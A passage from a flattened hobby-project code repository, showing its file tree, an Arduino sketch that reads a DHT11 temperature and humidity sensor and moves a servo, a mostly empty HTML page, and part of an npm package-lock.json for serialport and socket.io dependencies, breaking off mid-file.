├── Arduino Garden Monitor ├── Arduino Code │ └── TEMPHUM.ino └── GardenMon │ ├── index.html │ ├── package-lock.json │ ├── package.json │ └── server.js ├── AutoClicker ├── README.md └── main.py ├── Batch File Fishing RPG ├── README.md └── run.bat ├── Batch Login Program ├── README.md ├── example.bat └── run.bat ├── Batch PC Cleanup Tool ├── README.md └── SPPCC.bat ├── Batch Password Generator ├── PasswordGen.bat └── README.md ├── CODE_OF_CONDUCT.md ├── Chemical Equation Balancer ├── README.md ├── chemexamples.txt ├── equation.py └── main.py ├── Custom Filters ├── README.md ├── main.py ├── out.jpg ├── out2.jpg ├── photo.jpg └── photo2.jpg ├── Java Hello World ├── HelloWorld.class ├── HelloWorld.java └── README.md ├── Julia Set Generator ├── README.md ├── example.pgm └── main.py ├── Keylogger ├── README.md ├── kld9301.txt └── main.py ├── LICENSE ├── Pascal's Triangle in Java ├── Pascal's Triangle (Using Binomial Coefficients) │ ├── Pascal_Binomial.class │ ├── Pascal_Binomial.java │ └── README.md ├── Pascal's Triangle (Using Loops) │ ├── Pascal_Loops.class │ ├── Pascal_Loops.java │ └── README.md └── Pascal's Triangle (Using Recursion) │ ├── Pascal_Recursion.class │ ├── Pascal_Recursion.java │ └── README.md ├── Prime Number Finder ├── README.md ├── example_primes.txt └── main.py ├── README.md ├── Simple Calculator ├── README.md ├── functions.py └── main.py ├── Virus Spread Simulator ├── README.md └── simulation.py └── Word Counter ├── README.md ├── book.txt ├── example_output.txt └── main.py /Arduino Garden Monitor/Arduino Code/TEMPHUM.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | Servo servo; 5 | 6 | #define servoPin 4 7 | #define DHTPIN 2 8 | #define DHTTYPE DHT11 9 | 10 | DHT dht(DHTPIN, DHTTYPE); 11 | 12 | 13 | void setup() { 14 | Serial.begin(9600); 15 | servo.attach(servoPin); 16 | servo.write(2); 17 | Serial.println(F("DHT11 test!")); 18 | dht.begin(); 19 | } 20 | 21 | void loop() { 22 | float h = dht.readHumidity(); 23 | float t = dht.readTemperature(); 24 | float f = dht.readTemperature(true); 25 | 26 | if (isnan(h) || isnan(t) || isnan(f)) { 27 | Serial.println(F("Failed to read from DHT sensor!")); 28 | return; 29 | } 30 | 31 | float ratio = ((f-60)/30)*180; 32 | servo.write(ratio); 33 | 34 | float hif = dht.computeHeatIndex(f, h); 35 | float hic = dht.computeHeatIndex(t, h, false); 36 | 37 | Serial.print(F("Humidity=")); 38 | Serial.print(h); 39 | Serial.print(F("%=Temperature=")); 40 | Serial.print(t); 41 | Serial.print(F("°C=")); 42 | Serial.print(f); 43 | Serial.print(F("°F=Heat index=")); 44 | Serial.print(hic); 45 | Serial.print(F("°C=")); 46 | Serial.print(hif); 47 | Serial.println(F("°F")); 48 | 49 | delay(5000); 50 | 51 | } 52 | -------------------------------------------------------------------------------- /Arduino Garden Monitor/GardenMon/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | GardenMon 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 |
16 |

Humidity:

17 |

18 |
19 | 20 |
21 |

Temperature:

22 |
23 |

24 |

25 |
26 |
27 | 28 |
29 |

Feels like:

30 |
31 |

32 |

33 |
34 |
35 | 36 |
37 | 38 | 57 | 58 | -------------------------------------------------------------------------------- /Arduino Garden Monitor/GardenMon/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "temperature", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "@serialport/binding-abstract": { 8 | "version": "9.0.7", 9 | "resolved": "https://registry.npmjs.org/@serialport/binding-abstract/-/binding-abstract-9.0.7.tgz", 10 | "integrity": "sha512-g1ncCMIG9rMsxo/28ObYmXZcHThlvtZygsCANmyMUuFS7SwXY4+PhcEnt2+ZcMkEDNRiOklT+ngtIVx5GGpt/A==", 11 | "requires": { 12 | "debug": "^4.3.1" 13 | } 14 | }, 15 | "@serialport/binding-mock": { 16 | "version": "9.0.7", 17 | "resolved": "https://registry.npmjs.org/@serialport/binding-mock/-/binding-mock-9.0.7.tgz", 18 | "integrity": "sha512-aR8H+htZwwZZkVb1MdbnNvGWw8eXVRqQ2qPhkbKyx0N/LY5aVIgCgT98Kt1YylLsG7SzNG+Jbhd4wzwEuPVT5Q==", 19 | "requires": { 20 | "@serialport/binding-abstract": "^9.0.7", 21 | "debug": "^4.3.1" 22 | } 23 | }, 24 | "@serialport/bindings": { 25 | "version": "9.0.7", 26 | "resolved": "https://registry.npmjs.org/@serialport/bindings/-/bindings-9.0.7.tgz", 27 | "integrity": "sha512-cNWaxnEbbpLoSJ6GMb0ZeCpaciczm8XRE4jgBqe/BflWZb+wyiTYIocbsySxpS40WT3kJ0sNTFag77uSmQ6ftg==", 28 | "requires": { 29 | "@serialport/binding-abstract": "^9.0.7", 30 | "@serialport/parser-readline": "^9.0.7", 31 | "bindings": "^1.5.0", 32 | "debug": "^4.3.1", 33 | "nan": "^2.14.2", 34 | "prebuild-install": "^6.0.1" 35 | } 36 | }, 37 | "@serialport/parser-byte-length": { 38 | "version": "9.0.7", 39 | "resolved": "https://registry.npmjs.org/@serialport/parser-byte-length/-/parser-byte-length-9.0.7.tgz", 40 | "integrity": "sha512-evf7oOOSBMBn2AZZbgBFMRIyEzlsyQkhqaPm7IBCPTxMDXRf4tKkFYJHYZB0/6d1W4eI0meH079UqmSsh/uoDA==" 41 | }, 42 | "@serialport/parser-cctalk": { 43 | "version": "9.0.7", 44 | "resolved": "https://registry.npmjs.org/@serialport/parser-cctalk/-/parser-cctalk-9.0.7.tgz", 45 | "integrity": "sha512-ert5jhMkeiTfr44TkbdySC09J8UwAsf/RxBucVN5Mz5enG509RggnkfFi4mfj3UCG2vZ7qsmM6gtZ62DshY02Q==" 46 | }, 47 | "@serialport/parser-delimiter": { 48 | "version": "9.0.7", 49 | "resolved": "https://registry.npmjs.org/@serialport/parser-delimiter/-/parser-delimiter-9.0.7.tgz", 50 | "integrity": "sha512-Vb2NPeXPZ/28M4m5x4OAHFd8jRAeddNCgvL+Q+H/hqFPY1w47JcMLchC7pigRW8Cnt1fklmzfwdNQ8Fb+kMkxQ==" 51 | }, 52 | "@serialport/parser-inter-byte-timeout": { 53 | "version": "9.0.7", 54 | "resolved": "https://registry.npmjs.org/@serialport/parser-inter-byte-timeout/-/parser-inter-byte-timeout-9.0.7.tgz", 55 | "integrity": "sha512-lUZ3cwgUluBvJ1jf+0LQsqoiPYAokDO6+fRCw9HCfnrF/OS60Gm4rxuyo2uQIueqZkJ7NIFP+ibKsULrA47AEA==" 56 | }, 57 | "@serialport/parser-readline": { 58 | "version": "9.0.7", 59 | "resolved": "https://registry.npmjs.org/@serialport/parser-readline/-/parser-readline-9.0.7.tgz", 60 | "integrity": "sha512-ydoLbgVQQPxWrwbe3Fhh4XnZexbkEQAC6M/qgRTzjnKvTjrD61CJNxLc3vyDaAPI9bJIhTiI7eTX3JB5jJv8Hg==", 61 | "requires": { 62 | "@serialport/parser-delimiter": "^9.0.7" 63 | } 64 | }, 65 | "@serialport/parser-ready": { 66 | "version": "9.0.7", 67 | "resolved": "https://registry.npmjs.org/@serialport/parser-ready/-/parser-ready-9.0.7.tgz", 68 | "integrity": "sha512-3qYhI4cNUPAYqVYvdwV57Y+PVRl4dJf1fPBtMoWtwDgwopsAXTR93WCs49WuUq9JCyNW+8Hrfqv8x8eNAD5Dqg==" 69 | }, 70 | "@serialport/parser-regex": { 71 | "version": "9.0.7", 72 | "resolved": "https://registry.npmjs.org/@serialport/parser-regex/-/parser-regex-9.0.7.tgz", 73 | "integrity": "sha512-5XF+FXbhqQ/5bVKM4NaGs1m+E9KjfmeCx/obwsKaUZognQF67jwoTfjJJWNP/21jKfxdl8XoCYjZjASl3XKRAw==" 74 | }, 75 | "@serialport/stream": { 76 | "version": "9.0.7", 77 | "resolved": "https://registry.npmjs.org/@serialport/stream/-/stream-9.0.7.tgz", 78 | "integrity": "sha512-c/h7HPAeFiryD9iTGlaSvPqHFHSZ0NMQHxC4rcmKS2Vu3qJuEtkBdTLABwsMp7iWEiSnI4KC3s7bHapaXP06FQ==", 79 | "requires": { 80 | "debug": "^4.3.1" 81 | } 82 | }, 83 | "accepts": { 84 | "version": "1.3.8", 85 | "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", 86 | "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", 87 | "requires": { 88 | "mime-types": "~2.1.34", 89 | "negotiator": "0.6.3" 90 | } 91 | }, 92 | "after": { 93 | "version": "0.8.2", 94 | "resolved": "https://registry.npmjs.org/after/-/after-0.8.2.tgz", 95 | "integrity": "sha512-QbJ0NTQ/I9DI3uSJA4cbexiwQeRAfjPScqIbSjUDd9TOrcg6pTkdgziesOqxBMBzit8vFCTwrP27t13vFOORRA==" 96 | }, 97 | "ansi-regex": { 98 | "version": "2.1.1", 99 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", 100 | "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=" 101 | }, 102 | "aproba": { 103 | "version": "1.2.0", 104 | "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", 105 | "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==" 106 | }, 107 | "are-we-there-yet": { 108 | "version": "1.1.5", 109 | "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz", 110 | "integrity": "sha512-5hYdAkZlcG8tOLujVDTgCT+uPX0VnpAH28gWsLfzpXYm7wP6mp5Q/gYyR7YQ0cKVJcXJnl3j2kpBan13PtQf6w==", 111 | "requires": { 112 | "delegates": "^1.0.0", 113 | "readable-stream": "^2.0.6" 114 | } 115 | }, 116 | "arraybuffer.slice": { 117 | "version": "0.0.7", 118 | "resolved": "https://registry.npmjs.org/arraybuffer.slice/-/arraybuffer.slice-0.0.7.tgz", 119 | "integrity": "sha512-wGUIVQXuehL5TCqQun8OW81jGzAWycqzFF8lFp+GOM5BXLYj3bKNsYC4daB7n6XjCqxQA/qgTJ+8ANR3acjrog==" 120 | }, 121 | "backo2": { 122 | "version": "1.0.2", 123 | "resolved": "https://registry.npmjs.org/backo2/-/backo2-1.0.2.tgz", 124 | "integrity": "sha512-zj6Z6M7Eq+PBZ7PQxl5NT665MvJdAkzp0f60nAJ+sLaSCBPMwVak5ZegFbgVCzFcCJTKFoMizvM5Ld7+JrRJHA==" 125 | }, 126 | "base64-arraybuffer": { 127 | "version": "0.1.4", 128 | "resolved": "https://registry.npmjs.org/base64-arraybuffer/-/base64-arraybuffer-0.1.4.tgz", 129 | "integrity": "sha512-a1eIFi4R9ySrbiMuyTGx5e92uRH5tQY6kArNcFaKBUleIoLjdjBg7Zxm3Mqm3Kmkf27HLR/1fnxX9q8GQ7Iavg==" 130 | }, 131 | "base64-js": { 132 | "version": "1.5.1", 133 | "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", 134 | "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" 135 | }, 136 | "base64id": { 137 | "version": "2.0.0", 138 | "resolved": "https://registry.npmjs.org/base64id/-/base64id-2.0.0.tgz", 139 | "integrity": "sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==" 140 | }, 141 | "bindings": { 142 | "version": "1.5.0", 143 | "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", 144 | "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", 145 | "requires": { 146 | "file-uri-to-path": "1.0.0" 147 | } 148 | }, 149 | "bl": { 150 | "version": "4.1.0", 151 | "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", 152 | "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", 153 | "requires": { 154 | "buffer": "^5.5.0", 155 | "inherits": "^2.0.4", 156 | "readable-stream": "^3.4.0" 157 | }, 158 | "dependencies": { 159 | "readable-stream": { 160 | "version": "3.6.0", 161 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", 162 | "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", 163 | "requires": { 164 | "inherits": "^2.0.3", 165 | "string_decoder": "^1.1.1", 166 | "util-deprecate": "^1.0.1" 167 | } 168 | } 169 | } 170 | }, 171 | "blob": { 172 | "version": "0.0.5", 173 | "resolved": "https://registry.npmjs.org/blob/-/blob-0.0.5.tgz", 174 | "integrity": "sha512-gaqbzQPqOoamawKg0LGVd7SzLgXS+JH61oWprSLH+P+abTczqJbhTR8CmJ2u9/bUYNmHTGJx/UEmn6doAvvuig==" 175 | }, 176 | "buffer": { 177 | "version": "5.7.1", 178 | "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", 179 | "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", 180 | "requires": { 181 | "base64-js": "^1.3.1", 182 | "ieee754": "^1.1.13" 183 | } 184 | }, 185 | "chownr": { 186 | "version": "1.1.4", 187 | "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", 188 | "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==" 189 | }, 190 | "code-point-at": { 191 | "version": "1.1.0", 192 | "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", 193 | "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=" 194 | }, 195 | "component-bind": { 196 | "version": "1.0.0", 197 | "resolved": "https://registry.npmjs.org/component-bind/-/component-bind-1.0.0.tgz", 198 | "integrity": "sha512-WZveuKPeKAG9qY+FkYDeADzdHyTYdIboXS59ixDeRJL5ZhxpqUnxSOwop4FQjMsiYm3/Or8cegVbpAHNA7pHxw==" 199 | }, 200 | "component-emitter": { 201 | "version": "1.3.0", 202 | "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", 203 | "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" 204 | }, 205 | "component-inherit": { 206 | "version": "0.0.3", 207 | "resolved": "https://registry.npmjs.org/component-inherit/-/component-inherit-0.0.3.tgz", 208 | "integrity": "sha512-w+LhYREhatpVqTESyGFg3NlP6Iu0kEKUHETY9GoZP/pQyW4mHFZuFWRUCIqVPZ36ueVLtoOEZaAqbCF2RDndaA==" 209 | }, 210 | "console-control-strings": { 211 | "version": "1.1.0", 212 | "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", 213 | "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=" 214 | }, 215 | "cookie": { 216 | "version": "0.4.2", 217 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz", 218 | "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==" 219 | }, 220 | "core-util-is": { 221 | "version": "1.0.2", 222 | "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", 223 | "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" 224 | }, 225 | "debug": { 226 | "version": "4.3.1", 227 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", 228 | "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", 229 | "requires": { 230 | "ms": "2.1.2" 231 | } 232 | }, 233 | "decompress-response": { 234 | "version": "4.2.1", 235 | "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-4.2.1.tgz", 236 | "integrity": "sha512-jOSne2qbyE+/r8G1VU+G/82LBs2Fs4LAsTiLSHOCOMZQl2OKZ6i8i4IyHemTe+/yIXOtTcRQMzPcgyhoFlqPkw==", 237 | "requires": { 238 | "mimic-response": "^2.0.0" 239 | } 240 | }, 241 | "deep-extend": { 242 | "version": "0.6.0", 243 | "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", 244 | "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==" 245 | }, 246 | "delegates": { 247 | "version": "1.0.0", 248 | "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", 249 | "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=" 250 | }, 251 | "detect-libc": { 252 | "version": "1.0.3", 253 | "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", 254 | "integrity": "sha1-+hN8S9aY7fVc1c0CrFWfkaTEups=" 255 | }, 256 | "end-of-stream": { 257 | "version": "1.4.4", 258 | "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", 259 | "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", 260 | "requires": { 261 | "once": "^1.4.0" 262 | } 263 | }, 264 | "engine.io": { 265 | "version": "3.6.1", 266 | "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-3.6.1.tgz", 267 | "integrity": "sha512-dfs8EVg/i7QjFsXxn7cCRQ+Wai1G1TlEvHhdYEi80fxn5R1vZ2K661O6v/rezj1FP234SZ14r9CmJke99iYDGg==", 268 | "requires": { 269 | "accepts": "~1.3.4", 270 | "base64id": "2.0.0", 271 | "cookie": "~0.4.1", 272 | "debug": "~4.1.0", 273 | "engine.io-parser": "~2.2.0", 274 | "ws": "~7.4.2" 275 | }, 276 | "dependencies": { 277 | "debug": { 278 | "version": "4.1.1", 279 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", 280 | "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", 281 | "requires": { 282 | "ms": "^2.1.1" 283 | } 284 | } 285 | } 286 | }, 287 | "engine.io-client": { 288 | "version": "3.5.3", 289 | "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-3.5.3.tgz", 290 | "integrity": "sha512-qsgyc/CEhJ6cgMUwxRRtOndGVhIu5hpL5tR4umSpmX/MvkFoIxUTM7oFMDQumHNzlNLwSVy6qhstFPoWTf7dOw==", 291 | "requires": { 292 | "component-emitter": "~1.3.0", 293 | "component-inherit": "0.0.3", 294 | "debug": "~3.1.0", 295 | "engine.io-parser": "~2.2.0", 296 | "has-cors": "1.1.0", 297 | "indexof": "0.0.1", 298 | "parseqs": "0.0.6", 299 | "parseuri": "0.0.6", 300 | "ws": "~7.4.2", 301 | "xmlhttprequest-ssl": "~1.6.2", 302 | "yeast": "0.1.2" 303 | }, 304 | "dependencies": { 305 | "debug": { 306 | "version": "3.1.0", 307 | "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", 308 | "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", 309 | "requires": { 310 | "ms": "2.0.0" 311 | } 312 | }, 313 | "ms": { 314 | "version": "2.0.0", 315 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", 316 | "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" 317 | } 318 | } 319 | }, 320 | "engine.io-parser": { 321 | "version": "2.2.1", 322 | "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-2.2.1.tgz", 323 | "integrity": "sha512-x+dN/fBH8Ro8TFwJ+rkB2AmuVw9Yu2mockR/p3W8f8YtExwFgDvBDi0GWyb4ZLkpahtDGZgtr3zLovanJghPqg==", 324 | "requires": { 325 | "after": "0.8.2", 326 | "arraybuffer.slice": "~0.0.7", 327 | "base64-arraybuffer": "0.1.4", 328 | "blob": "0.0.5", 329 | "has-binary2": "~1.0.2" 330 | } 331 | }, 332 | "expand-template": { 333 | "version": "2.0.3", 334 | "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", 335 | "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==" 336 | }, 337 | "file-uri-to-path": { 338 | "version": "1.0.0", 339 | "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", 340 | "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==" 341 | }, 342 | "fs-constants": { 343 | "version": "1.0.0", 344 | "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", 345 | "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" 346 | }, 347 | "gauge": { 348 | "version": "2.7.4", 349 | "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", 350 | "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", 351 | "requires": { 352 | "aproba": "^1.0.3", 353 | "console-control-strings": "^1.0.0", 354 | "has-unicode": "^2.0.0", 355 | "object-assign": "^4.1.0", 356 | "signal-exit": "^3.0.0", 357 | "string-width": "^1.0.1", 358 | "strip-ansi": "^3.0.1", 359 | "wide-align": "^1.1.0" 360 | } 361 | }, 362 | "github-from-package": { 363 | "version": "0.0.0", 364 | "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", 365 | "integrity": "sha1-l/tdlr/eiXMxPyDoKI75oWf6ZM4=" 366 | }, 367 | "has-binary2": { 368 | "version": "1.0.3", 369 | "resolved": "https://registry.npmjs.org/has-binary2/-/has-binary2-1.0.3.tgz", 370 | "integrity": "sha512-G1LWKhDSvhGeAQ8mPVQlqNcOB2sJdwATtZKl2pDKKHfpf/rYj24lkinxf69blJbnsvtqqNU+L3SL50vzZhXOnw==", 371 | "requires": { 372 | "isarray": "2.0.1" 373 | }, 374 | "dependencies": { 375 | "isarray": { 376 | "version": "2.0.1", 377 | "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.1.tgz", 378 | "integrity": "sha512-c2cu3UxbI+b6kR3fy0nRnAhodsvR9dx7U5+znCOzdj6IfP3upFURTr0Xl5BlQZNKZjEtxrmVyfSdeE3O57smoQ==" 379 | } 380 | } 381 | }, 382 | "has-cors": { 383 | "version": "1.1.0", 384 | "resolved": "https://registry.npmjs.org/has-cors/-/has-cors-1.1.0.tgz", 385 | "integrity": "sha512-g5VNKdkFuUuVCP9gYfDJHjK2nqdQJ7aDLTnycnc2+RvsOQbuLdF5pm7vuE5J76SEBIQjs4kQY/BWq74JUmjbXA==" 386 | }, 387 | "has-unicode": { 388 | "version": "2.0.1", 389 | "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", 390 | "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=" 391 | }, 392 | "ieee754": { 393 | "version": "1.2.1", 394 | "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", 395 | "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" 396 | }, 397 | "indexof": { 398 | "version": "0.0.1", 399 | "resolved": "https://registry.npmjs.org/indexof/-/indexof-0.0.1.tgz", 400 | "integrity": "sha512-i0G7hLJ1z0DE8dsqJa2rycj9dBmNKgXBvotXtZYXakU9oivfB9Uj2ZBC27qqef2U58/ZLwalxa1X/RDCdkHtVg==" 401 | }, 402 | "inherits": { 403 | "version": "2.0.4", 404 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", 405 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" 406 | }, 407 | "ini": { 408 | "version": "1.3.8", 409 | "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", 410 | "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" 411 | }, 412 | "is-fullwidth-code-point": { 413 | "version": "1.0.0", 414 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", 415 | "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", 416 | "requires": { 417 | "number-is-nan": "^1.0.0" 418 | } 419 | }, 420 | "isarray": { 421 | "version": "1.0.0", 422 | "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", 423 | "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" 424 | }, 425 | "mime-db": { 426 | "version": "1.52.0", 427 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", 428 | "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==" 429 | }, 430 | "mime-types": { 431 | "version": "2.1.35", 432 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", 433 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", 434 | "requires": { 435 | "mime-db": "1.52.0" 436 | } 437 | }, 438 | "mimic-response": { 439 | "version": "2.1.0", 440 | "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-2.1.0.tgz", 441 | "integrity": "sha512-wXqjST+SLt7R009ySCglWBCFpjUygmCIfD790/kVbiGmUgfYGuB14PiTd5DwVxSV4NcYHjzMkoj5LjQZwTQLEA==" 442 | }, 443 | "minimist": { 444 | "version": "1.2.5", 445 | "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", 446 | "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" 447 | }, 448 | "mkdirp-classic": { 449 | "version": "0.5.3", 450 | "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", 451 | "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==" 452 | }, 453 | "ms": { 454 | "version": "2.1.2", 455 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", 456 | "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" 457 | }, 458 | "nan": { 459 | "version": "2.14.2", 460 | "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.2.tgz", 461 | "integrity": "sha512-M2ufzIiINKCuDfBSAUr1vWQ+vuVcA9kqx8JJUsbQi6yf1uGRyb7HfpdfUr5qLXf3B/t8dPvcjhKMmlfnP47EzQ==" 462 | }, 463 | "napi-build-utils": { 464 | "version": "1.0.2", 465 | "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-1.0.2.tgz", 466 | "integrity": "sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg==" 467 | }, 468 | "negotiator": { 469 | "version": "0.6.3", 470 | "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", 471 | "integrity": 